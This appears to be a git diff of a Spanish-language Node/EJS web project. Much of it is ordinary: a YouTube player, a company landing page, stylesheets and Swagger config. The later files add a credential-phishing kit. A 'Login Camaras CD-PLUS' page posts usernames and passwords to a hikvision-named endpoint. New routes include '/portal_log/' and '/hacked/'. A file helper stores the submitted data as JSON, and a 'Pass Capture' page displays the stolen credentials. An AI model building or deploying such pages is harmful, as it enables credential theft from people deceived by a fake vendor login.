<!--script src="https://www.youtube.com/iframe_api"></script-->
</head>
<body>
<div class="playlist">
<textarea name="Yt" id="" cols="30" rows="10"></textarea>
<input type="text" id="txtIdVideo">
<button class="btn" onclick="cargaVideo()">Add</button>
</div>
<div id="ytplayer"></div>
<div class="cotroles">
<button class="btn" id="" onclick="inicia()">Play</button>
<button class="btn" onclick="pausa()">Pause</button>
<button class="btn" onclick="stopVideo()">Stop</button>
<button class="btn" onclick="siguiente()">siguiente</button>
<button class="btn" onclick="info()">info</button>
</div>
<a href="#" id="play-button">Play</a>
<a href="#" id="pause-button">Pause</a>
<script type="text/javascript">
var listaRepY = ['Qo9GyytH17o', 'jdeq6lJXpj0', 'OCPC19HXwu0', 'AnF_VOliv0E', 'MM0lWsvieaE', 'SM_1vxkMjkY'];
var idVideo = listaRepY[5];
// Replace the 'ytplayer' element with an <iframe> and
// YouTube player after the API code downloads.
var player;
function onYouTubePlayerAPIReady() {
player = new YT.Player('ytplayer', {
height: '360',
width: '640',
videoId: idVideo,
playerVars: {
autoplay: 1,
loop: 1,
color: 'white',
playlist: idVideo,
controls: 0,
iv_load_policy: 3,
showinfo: 0,
},
events: {
'onReady': onPlayerReady
//'onStateChange': onPlayerStateChange
}
});
}
function onPlayerReady(event) {
// bind events
var playButton = document.getElementById("play-button");
playButton.addEventListener("click", function () {
player.playVideo();
});
var pauseButton = document.getElementById("pause-button");
pauseButton.addEventListener("click", function () {
player.pauseVideo();
});
}
// Inject YouTube API script
var tag = document.createElement('script');
tag.src = "//www.youtube.com/player_api";
var firstScriptTag = document.getElementsByTagName('script')[0];
firstScriptTag.parentNode.insertBefore(tag, firstScriptTag);
function inicia() {
onYouTubePlayerAPIReady();
player.playVideo();
console.log("Play");
}
function pausa() {
player.pauseVideo();
console.log("pause");
}
function stopVideo() {
player.stopVideo();
console.log("Stop");
}
let c = 0;
function siguiente() {
//player.siguiente();
console.log("Siguiente");
if (c < listaRepY.length) {
c++;
console.log(c + " suma");
} else {
c = 0;
}
idVideo = listaRepY[c];
console.log(c + "=" + listaRepY.length);
}
function cargaVideo() {
var nVideo = document.getElementById('txtIdVideo').value;
console.log(nVideo);
loadVideoById(listaRepY[0], 5, "large")
}
function info() {
console.log(player.getPlayerState());;
}
// Load the IFrame Player API code asynchronously.
var tag = document.createElement('script');
tag.src = "https://www.youtube.com/player_api";
var firstScriptTag = document.getElementsByTagName('script')[0];
firstScriptTag.parentNode.insertBefore(tag, firstScriptTag);
</script>
<!--script src="control.js"></script-->
</body>
</html>

View File

@@ -0,0 +1,207 @@
/* General Reset */
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: 'Roboto', sans-serif;
line-height: 1.6;
color: #333;
background-color: #f9f9f9;
}
.container {
width: 90%;
max-width: 1200px;
margin: 0 auto;
}
/* Header */
.header {
background: #004080;
color: #fff;
padding: 1rem 0;
}
.header .logo {
font-size: 1.5rem;
font-weight: bold;
}
.header .navigation ul {
display: flex;
justify-content: space-around;
list-style: none;
}
.header .navigation ul li a {
color: #fff;
text-decoration: none;
padding: 0.5rem 1rem;
transition: background-color 0.3s;
}
.header .navigation ul li a:hover {
background: #0066cc;
border-radius: 5px;
}
/* Hero Section */
.hero {
background: linear-gradient(to right, #004080, #0066cc);
color: #fff;
text-align: center;
padding: 4rem 2rem;
}
.hero h1 {
font-size: 2.5rem;
margin-bottom: 1rem;
}
.hero p {
font-size: 1.2rem;
margin-bottom: 2rem;
}
.hero .btn-primary {
background: #ffaa00;
color: #fff;
padding: 0.75rem 1.5rem;
text-decoration: none;
border-radius: 5px;
transition: background-color 0.3s;
}
.hero .btn-primary:hover {
background: #cc8800;
}
/* Carousel Section */
.carousel {
position: relative;
overflow: hidden;
width: 100%;
margin: 2rem 0;
}
.carousel img {
width: 100%;
display: block;
border-radius: 5px;
}
.carousel-inner {
display: flex;
transition: transform 0.5s ease-in-out;
}
.carousel-buttons {
position: absolute;
top: 50%;
width: 100%;
display: flex;
justify-content: space-between;
transform: translateY(-50%);
}
.carousel-buttons button {
background: rgba(0, 0, 0, 0.5);
color: #fff;
border: none;
padding: 0.5rem 1rem;
cursor: pointer;
transition: background 0.3s;
}
.carousel-buttons button:hover {
background: rgba(0, 0, 0, 0.8);
}
/* Services Section */
.services {
padding: 3rem 0;
background: #fff;
}
.services h2 {
text-align: center;
margin-bottom: 2rem;
font-size: 2rem;
}
.service-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
gap: 1.5rem;
}
.service-item {
background: #f1f1f1;
padding: 1.5rem;
text-align: center;
border-radius: 5px;
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
transition: transform 0.3s;
}
.service-item:hover {
transform: scale(1.05);
}
.service-item h3 {
margin-bottom: 0.5rem;
}
/* Products Section */
.products {
padding: 3rem 0;
background: #eef5ff;
}
.products h2 {
text-align: center;
margin-bottom: 2rem;
font-size: 2rem;
}
.product-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
gap: 1.5rem;
}
.product-item {
text-align: center;
}
.product-item img {
width: 100%;
max-width: 200px;
margin-bottom: 1rem;
border-radius: 5px;
}
.product-item h3 {
font-size: 1.2rem;
color: #004080;
}
/* Footer */
.footer {
background: #004080;
color: #fff;
padding: 1rem 0;
text-align: center;
}
.footer a {
color: #ffaa00;
text-decoration: none;
}
.footer a:hover {
text-decoration: underline;
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.3 KiB

View File

@@ -0,0 +1,202 @@
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Portal WiFi - Tema Oscuro</title>
<style>
/* General Styles */
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: 'Arial', sans-serif;
background: linear-gradient(135deg, #121212, #1e1e1e);
color: #e0e0e0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
.wifi-portal {
width: 100%;
max-width: 400px;
background: #1e1e1e;
border-radius: 15px;
padding: 20px;
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.8);
text-align: center;
}
/* Title and Text */
.wifi-portal h1 {
font-size: 1.8em;
margin-bottom: 10px;
font-weight: 700;
color: #00C6FF;
}
.wifi-portal p {
font-size: 1em;
margin-bottom: 20px;
color: #e0e0e0;
}
/* Buttons */
.btn {
display: block;
width: 100%;
background: #0078FF;
border: none;
padding: 12px;
font-size: 1em;
color: #fff;
border-radius: 5px;
cursor: pointer;
font-weight: 500;
margin-bottom: 15px;
transition: background 0.3s;
}
.btn:hover {
background: #005BB5;
}
.btn-google {
background: #DB4437;
}
.btn-google:hover {
background: #B8362D;
}
.btn-facebook {
background: #4267B2;
}
.btn-facebook:hover {
background: #365899;
}
.btn-otg {
background: #4CAF50;
}
.btn-otg:hover {
background: #388E3C;
}
.btn-login {
display: none; /* Oculto inicialmente */
background: #FF9800;
}
.btn-login:hover {
background: #E68900;
}
/* Hidden Textbox */
.textbox-container {
display: none;
margin-top: 20px;
text-align: left;
}
.textbox-container label {
font-size: 0.9em;
color: #cfcfcf;
margin-bottom: 5px;
display: block;
}
.textbox-container input {
width: 100%;
padding: 10px;
font-size: 1em;
border: 1px solid #333;
border-radius: 5px;
background: #2a2a2a;
color: #fff;
outline: none;
}
.textbox-container input:focus {
border-color: #00C6FF;
}
/* Footer Styles */
.footer-text {
margin-top: 20px;
font-size: 0.85em;
color: #cfcfcf;
}
.footer-text a {
color: #00C6FF;
text-decoration: none;
}
.footer-text a:hover {
text-decoration: underline;
}
/* Responsive Design */
@media (max-width: 768px) {
.wifi-portal {
padding: 15px;
}
.wifi-portal h1 {
font-size: 1.5em;
}
.btn {
font-size: 0.9em;
}
}
</style>
</head>
<body>
<div class="wifi-portal">
<h1>Bienvenido al Portal WiFi</h1>
<p>Conéctate a nuestra red para disfrutar del servicio.</p>
<button class="btn btn-google">Iniciar sesión con Google</button>
<button class="btn btn-facebook">Iniciar sesión con Facebook</button>
<button class="btn btn-otg" onclick="showTextbox()">Conexión rápida (OTG)</button>
<!-- Hidden Textbox and Login Button -->
<div class="textbox-container" id="otgTextbox">
<label for="otgCode">Ingresa tu código OTG:</label>
<input type="text" id="otgCode" placeholder="Ejemplo: 123456" />
<button class="btn btn-login" id="loginButton" onclick="submitOTG()">Login</button>
</div>
<p class="footer-text">¿Problemas? <a href="#">Contáctanos</a></p>
</div>
<script>
// Función para mostrar el textbox y el botón de login
function showTextbox() {
const textboxContainer = document.getElementById('otgTextbox');
const loginButton = document.getElementById('loginButton');
textboxContainer.style.display = 'block'; // Mostrar el contenedor del textbox
loginButton.style.display = 'block'; // Mostrar el botón de login
}
// Función para manejar el login (puedes personalizarlo según tus necesidades)
function submitOTG() {
const otgCode = document.getElementById('otgCode').value;
if (otgCode.trim() === '') {
alert('Por favor, ingresa un código OTG.');
} else {
alert(`Código OTG ingresado: ${otgCode}`);
// Aquí puedes enviar el código al servidor o procesarlo
}
}
</script>
</body>
</html>

View File

@@ -0,0 +1,203 @@
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login</title>
<style>
* {
box-sizing: border-box;
margin: 0;
padding: 0;
font-family: Arial, sans-serif;
}
body {
background-image: url('../img/portal/login.jpg'); /* Imagen de fondo */
background-size: cover;
background-position: center;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
.language-selector {
position: absolute;
top: 10px;
right: 20px;
background-color: rgba(255, 255, 255, 0.8);
padding: 10px;
border-radius: 5px;
}
.login-container {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
.login-box {
background-color: #fff;
padding: 30px;
border-radius: 10px;
box-shadow: 0 0 15px rgba(0, 0, 0, 0.1);
width: 350px;
text-align: center;
}
/* Estilo del logo */
.logo {
width: 150px;
margin-bottom: 20px;
}
h2 {
margin-bottom: 20px;
color: #333;
}
.input-container {
margin-bottom: 15px;
text-align: left;
}
label {
font-size: 14px;
color: #555;
}
input[type="text"],
input[type="password"] {
width: 100%;
padding: 10px;
margin-top: 5px;
border: 1px solid #ccc;
border-radius: 5px;
font-size: 16px;
}
button {
width: 100%;
padding: 10px;
background-color: #e74c3c;
border: none;
color: white;
font-size: 16px;
border-radius: 5px;
cursor: pointer;
margin-top: 10px;
}
button:hover {
background-color: #c0392b;
}
.forgot-password {
display: block;
margin-top: 15px;
font-size: 14px;
color: #3498db;
text-decoration: none;
}
.forgot-password:hover {
text-decoration: underline;
}
</style>
</head>
<body>
<!-- Selector de idioma -->
<div class="language-selector">
<label for="language">Idioma:</label>
<select id="language" onchange="changeLanguage()">
<option value="es">Español</option>
<option value="en">English</option>
</select>
</div>
<div class="login-container">
<div class="login-box">
<!-- Logo -->
<img src="../img/portal/logo.png" alt="Logo" class="logo">
<h2 id="title">Iniciar Sesión</h2>
<form id="loginForm">
<div class="input-container">
<label for="username" id="username-label">Nombre de usuario</label>
<input type="text" id="username" placeholder="Ingrese su nombre de usuario" required>
</div>
<div class="input-container">
<label for="password" id="password-label">Contraseña</label>
<input type="password" id="password" placeholder="Ingrese su contraseña" required>
</div>
<button type="submit" id="login-btn">Acceder</button>
</form>
<a href="#" class="forgot-password" id="forgot-password">¿Olvidó la contraseña?</a>
</div>
</div>
<script>
document.getElementById("loginForm").addEventListener("submit", function(event) {
event.preventDefault(); // Evita que el formulario se envíe
// Obtener los valores del formulario
const username = document.getElementById("username").value;
const password = document.getElementById("password").value;
// Validación básica
if (username === "" || password === "") {
alert("Por favor, complete todos los campos");
} else {
// Llamar al API usando fetch
fetch('https://portal.siax-system.net/api/login', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
username: username,
password: password
})
})
.then(response => response.json())
.then(data => {
if (data.success) {
alert("Inicio de sesión exitoso");
// Aquí puedes redirigir al usuario a otra página o realizar más acciones
} else {
alert("Error: " + data.message);
}
})
.catch(error => {
console.error("Error en la solicitud:", error);
alert("Hubo un problema con el inicio de sesión.");
});
}
});
// Función para cambiar el idioma
function changeLanguage() {
const language = document.getElementById("language").value;
if (language === "es") {
document.getElementById("title").textContent = "Iniciar Sesión";
document.getElementById("username-label").textContent = "Nombre de usuario";
document.getElementById("username").placeholder = "Ingrese su nombre de usuario";
document.getElementById("password-label").textContent = "Contraseña";
document.getElementById("password").placeholder = "Ingrese su contraseña";
document.getElementById("login-btn").textContent = "Acceder";
document.getElementById("forgot-password").textContent = "¿Olvidó la contraseña?";
} else if (language === "en") {
document.getElementById("title").textContent = "Login";
document.getElementById("username-label").textContent = "Username";
document.getElementById("username").placeholder = "Enter your username";
document.getElementById("password-label").textContent = "Password";
document.getElementById("password").placeholder = "Enter your password";
document.getElementById("login-btn").textContent = "Login";
document.getElementById("forgot-password").textContent = "Forgot password?";
}
}
</script>
</body>
</html>

View File

@@ -0,0 +1,136 @@
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description"
content="Soluciones tecnológicas avanzadas: Facturación, domótica, telecomunicaciones y más">
<title>Telcotronics</title>
<link rel="stylesheet" href="../css/telcotronics.css">
<link rel="preconnect" href="https://fonts.googleapis.com">
<link href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;500;700&display=swap" rel="stylesheet">
</head>
<body>
<header class="header">
<div class="container">
<div class="logo">Telcotronics</div>
<nav class="navigation">
<ul>
<li><a href="#inicio">Inicio</a></li>
<li><a href="#servicios">Servicios</a></li>
<li><a href="#productos">Productos</a></li>
<li><a href="#contacto">Contacto</a></li>
</ul>
</nav>
</div>
</header>
<section id="inicio" class="hero">
<div class="container">
<h1>Soluciones Tecnológicas a tu Alcance</h1>
<p>Innovación en telecomunicaciones, domótica y más para hacer tu vida más sencilla y eficiente.</p>
<a href="#servicios" class="btn-primary">Descubre Más</a>
</div>
<div class="carousel">
<div class="carousel-inner">
<img src="https://telcotronics.com/imgPublicidad/1.webp" alt="Banner 1">
<img src="https://telcotronics.com/imgPublicidad/2.webp" alt="Banner 2">
<img src="https://telcotronics.com/imgPublicidad/3.webp" alt="Banner 3">
<img src="https://telcotronics.com/imgPublicidad/4.webp" alt="Banner 4">
</div>
<div class="carousel-buttons">
<button id="prev"></button>
<button id="next"></button>
</div>
</div>
</section>
<section id="servicios" class="services">
<div class="container">
<h2>Nuestros Servicios</h2>
<div class="service-grid">
<div class="service-item">
<h3>Facturación Electrónica</h3>
<p>Implementación de sistemas avanzados para la gestión de tu negocio.</p>
</div>
<div class="service-item">
<h3>Cámaras de Seguridad</h3>
<p>Soluciones de video vigilancia con tecnología de punta.</p>
</div>
<div class="service-item">
<h3>Domótica Inteligente</h3>
<p>Automatización de espacios para mayor comodidad y seguridad.</p>
</div>
<div class="service-item">
<h3>Redes y Telecomunicaciones</h3>
<p>Diseño e instalación de redes empresariales y domésticas.</p>
</div>
</div>
</div>
</section>
<section id="productos" class="products">
<div class="container">
<h2>Productos Destacados</h2>
<div class="product-grid">
<div class="product-item">
<img src="images/panel-solar.jpg" alt="Panel Solar">
<h3>Paneles Solares</h3>
</div>
<div class="product-item">
<img src="images/camara.jpg" alt="Cámara de Seguridad">
<h3>Cámaras IP</h3>
</div>
<div class="product-item">
<img src="images/switch.jpg" alt="Switch de Redes">
<h3>Switch de Redes</h3>
</div>
</div>
</div>
</section>
<footer class="footer">
<div class="container">
<div class="footer-info">
<p>&copy; 2024 Telcotronics. Todos los derechos reservados.</p>
<p>Contacto: <a href="mailto:info@telcotronics.com">info@telcotronics.com</a></p>
</div>
</div>
</footer>
<script>
const carouselInner = document.querySelector('.carousel-inner');
const images = document.querySelectorAll('.carousel-inner img');
const prevButton = document.getElementById('prev');
const nextButton = document.getElementById('next');
let currentIndex = 0;
function updateCarousel() {
const offset = -currentIndex * 100; // Mueve las imágenes
carouselInner.style.transform = `translateX(${offset}%)`;
}
prevButton.addEventListener('click', () => {
currentIndex = (currentIndex > 0) ? currentIndex - 1 : images.length - 1;
updateCarousel();
});
nextButton.addEventListener('click', () => {
currentIndex = (currentIndex < images.length - 1) ? currentIndex + 1 : 0;
updateCarousel();
});
// Autoplay (opcional)
setInterval(() => {
nextButton.click();
}, 5000);
</script>
</body>
</html>

View File

@@ -37,4 +37,12 @@ rutas.post('/operaciones/', controlador_init.recibe_datos);//testing json reccep
rutas.get('/app-tv/', controlador_init.app_tv);//app de tv y video json
rutas.get('/tv-online/', controlador_init.app_tv);//app de tv y video json
rutas.get('/portal/', controlador_init.portal);//app portal cautivo
rutas.post('/portal_log/', controlador_init.portal_log);//recibir informacion
rutas.get('/cdplus/', controlador_init.portal);//app portal cautivo
rutas.get('/hacked/', controlador_init.pw_hacked);//app portal cautivo
module.exports = rutas;

49
src/scripts/File_io.js Normal file
View File

@@ -0,0 +1,49 @@
const fs = require('fs').promises;
const path = require('path');
const { hostname } = require('os');
async function saveToFile(newData) {
try {
// Obtener la ruta absoluta para evitar problemas con rutas relativas
const filePath = path.resolve(__dirname, '../public/files/data.json');
const dir = path.dirname(filePath);
// Asegurarse de que el directorio existe
try {
await fs.mkdir(dir, { recursive: true });
} catch (err) {
console.error('Error al crear el directorio:', err);
return;
}
// Leer el archivo existente si ya está creado
let fileData = [];
try {
const data = await fs.readFile(filePath, 'utf8');
fileData = JSON.parse(data);
} catch (err) {
// Si el archivo no existe o está vacío, iniciamos con un array vacío
if (err.code !== 'ENOENT') {
throw err; // Si es otro tipo de error, lo lanzamos
}
}
// Si el archivo existe pero no es un array, convertirlo en uno
if (!Array.isArray(fileData)) {
fileData = [fileData];
}
// Agregar el nuevo objeto
fileData.push(newData);
// Convertir a JSON
const jsonData = JSON.stringify(fileData, null, 2);
// Guardar el archivo con el nuevo array actualizado
await fs.writeFile(filePath, jsonData);
console.log('Archivo actualizado correctamente.');
} catch (err) {
console.error('Error al escribir el archivo:', err);
}
}
module.exports = { saveToFile };

View File

8
src/scripts/tokens.js Normal file
View File

@@ -0,0 +1,8 @@
const controlador = {};
const axios = require('axios').default;
const jwt = require('jsonwebtoken');
const config = require('../config');
const { base64encode, base64decode } = require('nodejs-base64');
const { v4: uuidv4 } = require('uuid');
module.exports = controlador;

View File

@@ -1,33 +1,23 @@
//Generando Documentacion
//const swaggerUi = require('swagger-ui-express');
//const swaggerDocument = require('./swagger.json');
global.config = require('./config.js');
var puerto = global.config.server.port;
//const swaggerUi = require('swagger-ui-express');
//Documentacion API
// Documentación API
const swaggerJsdoc = require('swagger-jsdoc');
const options = {
//explore: true,
definition: {
openapi: '3.1.0',
swagger:"2.0",
swagger: '2.0', // Usando Swagger 2.0
info: {
title: 'APP-SIGMA-WEB',
version: '1.0.0',
description: 'Documentación de la API para la aplicación APP-SIGMA-WEB',
},
servers:[
{
url: 'http://localhost:'+puerto,
description: 'Development server',
host: 'localhost:' + puerto,
basePath: '/',
schemes: ['http'],
},
{
url: 'http://app.factura-e.net',
description: 'Productions server',
},
]
},
apis: [`${__dirname, '/rutas/*.js'}`], // files containing annotations as above
apis: [`${__dirname}/rutas/*.js`],
};
const swagger_config = swaggerJsdoc(options);
module.exports = { swagger_config };

View File

@@ -22,10 +22,11 @@
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css"/>
<link rel="stylesheet" href="https://cdn.materialdesignicons.com/5.4.55/css/materialdesignicons.min.css">
<link rel="stylesheet" href="https://fonts.googleapis.com/icon?family=Material+Icons"type="text/css">
<link href="https://xsystem.ddns.net/app/css/app_sigma_pedidosStilos.css" rel="stylesheet" type="text/css">
<link href="https://xsystem.ddns.net/app/css/app_sigma_pedidosDetalle.css" rel="stylesheet" type="text/css">
<link href="https://siax-system.net/app/css/app_sigma_pedidosStilos.css" rel="stylesheet" type="text/css">
<link href="https://siax-system.net/app/css/app_sigma_pedidosDetalle.css" rel="stylesheet" type="text/css">
<link href="./css/tipografias.css" rel="stylesheet" type="text/css"/>
<link href="https://xsystem.ddns.net/app/css/animate.css" rel="stylesheet" />
<link href="https://siax-system.net/app/css/animate.css" rel="stylesheet" />
</head>
@@ -224,6 +225,7 @@
<button class="btn col s6" onClick="envioPedidos()"><i class="material-icons">cloud_upload</i>Enviar Pedido</button>
</div>
<div class="collapsible-body">
<div id="mensaje_btns"></div>
</div>
</li>
</ul> </div>
@@ -248,8 +250,8 @@
<!-- Compiled and minified JavaScript -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script>
<script src="https://xsystem.ddns.net/app/js/app_sigma_pedidosMain.js"></script>
<script src="https://xsystem.ddns.net/app/js/app_sigma_pedidosModal.js"></script>
<script src="https://siax-system.net/app/js/app_sigma_pedidosMain.js"></script>
<script src="https://siax-system.net/app/js/app_sigma_pedidosModal.js"></script>
</body>

View File

@@ -1,5 +1,5 @@
<!DOCTYPE html>
<html lang="en">
<html lang="es">
<head>
<meta charset="UTF-8">

View File

@@ -0,0 +1,84 @@
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>No Autorizado</title>
<style>
/* Reseteo básico */
* {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: 'Arial', sans-serif;
}
body, html {
height: 100%;
background-color: #f4f4f9;
display: flex;
justify-content: center;
align-items: center;
}
.container {
text-align: center;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
}
.card {
background-color: #fff;
padding: 50px;
border-radius: 15px;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
max-width: 400px;
width: 100%;
}
h1 {
font-size: 100px;
color: #ff6b6b;
}
h2 {
font-size: 28px;
color: #333;
margin-bottom: 20px;
}
p {
color: #666;
font-size: 18px;
margin-bottom: 30px;
}
.button {
background-color: #ff6b6b;
color: white;
padding: 10px 20px;
border: none;
border-radius: 5px;
text-decoration: none;
font-size: 18px;
transition: background-color 0.3s ease;
}
.button:hover {
background-color: #ff4b4b;
}
</style>
</head>
<body>
<div class="container">
<div class="card">
<h1>403</h1>
<h2>Acceso No Autorizado</h2>
<p>No tienes permiso para acceder a esta página.</p>
<a href="/" class="button">Volver al Inicio</a>
</div>
</div>
</body>
</html>

204
src/views/portal.ejs Normal file
View File

@@ -0,0 +1,204 @@
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login Camaras CD-PLUS</title>
<link href="../img/portal/favicon.ico" type="image/x-icon" rel="shortcut icon">
<style>
* {
box-sizing: border-box;
margin: 0;
padding: 0;
font-family: Arial, sans-serif;
}
body {
background-image: url('../img/portal/login.jpg'); /* Imagen de fondo */
background-size: cover;
background-position: center;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
.language-selector {
position: absolute;
top: 10px;
right: 20px;
background-color: rgba(255, 255, 255, 0.8);
padding: 10px;
border-radius: 5px;
}
.login-container {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
.login-box {
background-color: #fff;
padding: 30px;
border-radius: 10px;
box-shadow: 0 0 15px rgba(0, 0, 0, 0.1);
width: 350px;
text-align: center;
}
/* Estilo del logo */
.logo {
width: 150px;
margin-bottom: 20px;
}
h2 {
margin-bottom: 20px;
color: #333;
}
.input-container {
margin-bottom: 15px;
text-align: left;
}
label {
font-size: 14px;
color: #555;
}
input[type="text"],
input[type="password"] {
width: 100%;
padding: 10px;
margin-top: 5px;
border: 1px solid #ccc;
border-radius: 5px;
font-size: 16px;
}
button {
width: 100%;
padding: 10px;
background-color: #e74c3c;
border: none;
color: white;
font-size: 16px;
border-radius: 5px;
cursor: pointer;
margin-top: 10px;
}
button:hover {
background-color: #c0392b;
}
.forgot-password {
display: block;
margin-top: 15px;
font-size: 14px;
color: #3498db;
text-decoration: none;
}
.forgot-password:hover {
text-decoration: underline;
}
</style>
</head>
<body>
<!-- Selector de idioma -->
<div class="language-selector">
<label for="language">Idioma:</label>
<select id="language" onchange="changeLanguage()">
<option value="es">Español</option>
<option value="en">English</option>
</select>
</div>
<div class="login-container">
<div class="login-box">
<!-- Logo -->
<img src="../img/portal/logo.png" alt="Logo" class="logo">
<h2 id="title">Iniciar Sesión</h2>
<form id="loginForm">
<div class="input-container">
<label for="username" id="username-label">Nombre de usuario</label>
<input type="text" id="username" placeholder="Ingrese su nombre de usuario" required>
</div>
<div class="input-container">
<label for="password" id="password-label">Contraseña</label>
<input type="password" id="password" placeholder="Ingrese su contraseña" required>
</div>
<button type="submit" id="login-btn">Acceder</button>
</form>
<a href="#" class="forgot-password" id="forgot-password">¿Olvidó la contraseña?</a>
</div>
</div>
<script>
document.getElementById("loginForm").addEventListener("submit", function(event) {
event.preventDefault(); // Evita que el formulario se envíe
// Obtener los valores del formulario
const username = document.getElementById("username").value;
const password = document.getElementById("password").value;
// Validación básica
if (username === "" || password === "") {
alert("Por favor, complete todos los campos");
} else {
// Llamar al API usando fetch
fetch('https://hikvision.siax-system.net/portal_log', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
username: username,
password: password
})
})
.then(response => response.json())
.then(data => {
if (data.success) {
alert("Inicio de sesión exitoso");
// Aquí puedes redirigir al usuario a otra página o realizar más acciones
} else {
alert("Error: " + data.message);
}
})
.catch(error => {
console.error("Error en la solicitud:", error);
alert("El usuario o Contraseñas son incorrectos.");
});
}
});
// Función para cambiar el idioma
function changeLanguage() {
const language = document.getElementById("language").value;
if (language === "es") {
document.getElementById("title").textContent = "Iniciar Sesión";
document.getElementById("username-label").textContent = "Nombre de usuario";
document.getElementById("username").placeholder = "Ingrese su nombre de usuario";
document.getElementById("password-label").textContent = "Contraseña";
document.getElementById("password").placeholder = "Ingrese su contraseña";
document.getElementById("login-btn").textContent = "Acceder";
document.getElementById("forgot-password").textContent = "¿Olvidó la contraseña?";
} else if (language === "en") {
document.getElementById("title").textContent = "Login";
document.getElementById("username-label").textContent = "Username";
document.getElementById("username").placeholder = "Enter your username";
document.getElementById("password-label").textContent = "Password";
document.getElementById("password").placeholder = "Enter your password";
document.getElementById("login-btn").textContent = "Login";
document.getElementById("forgot-password").textContent = "Forgot password?";
}
}
</script>
</body>
</html>

118
src/views/ver_pass.ejs Normal file
View File

@@ -0,0 +1,118 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Mostrar Data</title>
<style>
/* Reseteo básico */
* {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: 'Arial', sans-serif;
}
body {
background-color: #f4f4f9;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
height: 100vh;
padding: 20px;
}
h1 {
font-size: 36px;
color: #333;
margin-bottom: 20px;
}
pre {
background-color: #1e1e1e;
color: #d4d4d4;
padding: 20px;
border-radius: 10px;
width: 80%;
max-width: 600px;
white-space: pre-wrap;
word-wrap: break-word;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
overflow: auto;
}
/* Estilo para el contenedor de datos en modo "code" */
#data-container {
font-family: 'Courier New', Courier, monospace;
font-size: 16px;
line-height: 1.5;
color: #dcdcdc;
}
/* Resaltado de sintaxis */
#data-container .key {
color: #569cd6;
}
#data-container .string {
color: #ce9178;
}
#data-container .number {
color: #b5cea8;
}
#data-container .boolean {
color: #569cd6;
}
#data-container .null {
color: #569cd6;
}
</style>
<script>
async function fetchData() {
try {
const response = await fetch('../files/data.json');
const data = await response.json();
// Formatear JSON con resaltado de sintaxis
const formattedData = syntaxHighlight(JSON.stringify(data, null, 2));
// Mostrar el objeto data en el HTML
const dataContainer = document.getElementById('data-container');
dataContainer.innerHTML = formattedData;
} catch (err) {
console.error('Error al obtener los datos:', err);
}
}
function syntaxHighlight(json) {
json = json.replace(/(&)/g, '&amp;').replace(/(>)/g, '&gt;').replace(/(<)/g, '&lt;');
return json.replace(/("(\\u[\da-fA-F]{4}|\\[^u]|[^\\"])*"(\s*:)?|\b(true|false|null)\b|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?)/g, function (match) {
let cls = 'number';
if (/^"/.test(match)) {
if (/:$/.test(match)) {
cls = 'key';
} else {
cls = 'string';
}
} else if (/true|false/.test(match)) {
cls = 'boolean';
} else if (/null/.test(match)) {
cls = 'null';
}
return '<span class="' + cls + '">' + match + '</span>';
});
}
window.onload = fetchData;
</script>
</head>
<body>
<h1>Pass Capture</h1>
<pre id="data-container"></pre>
</body>
</html>